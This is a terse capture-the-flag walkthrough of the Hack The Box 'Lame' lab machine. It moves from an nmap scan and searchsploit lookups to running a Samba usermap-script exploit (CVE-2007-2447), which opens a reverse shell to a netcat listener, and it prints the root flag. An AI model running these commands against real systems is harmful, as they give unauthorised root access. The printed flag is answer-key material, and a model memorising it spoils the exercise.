Lame-HTB


└─$ nmap -Pn -T5 -A 10.10.10.3
Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021–08–06 00:31 IST
Nmap scan report for 10.10.10.3
Host is up (0.17s latency).
Not shown: 996 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.12
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 — secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X — 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: 2h00m26s, deviation: 2h49m45s, median: 24s
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| NetBIOS computer name:
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr
|_ System time: 2021–08–05T15:01:51–04:00
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.18 seconds
└─$ searchsploit vsftpd
---------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------- ---------------------------------
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption | linux/dos/5814.pl
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1) | windows/dos/31818.sh
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2) | windows/dos/31819.pl
vsftpd 2.3.2 - Denial of Service | linux/dos/16270.c
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
vsftpd 3.0.3 - Remote Denial of Service | multiple/remote/49719.py
---------------------------------------------------------------------------- ---------------------------------
└─$ searchsploit samba 3.0.20                                                                             
---------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------- ---------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasp | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
---------------------------------------------------------------------------- ------------------------------

└─$ python3 usermap_script.py 10.10.10.3 445 10.10.14.12 4222
[*] CVE-2007–2447 — Samba usermap script
[+] Connecting !
[+] Payload was sent — check netcat !

└─$ nc -lnvp 4222
listening on [any] 4222 …
connect to [10.10.14.12] from (UNKNOWN) [10.10.10.3] 56227
whoami
root
cd root
ls
Desktop
reset_logs.sh
root.txt
vnc.log
cat root.txt
2969fdb7e84e5ab492d5c02262154310

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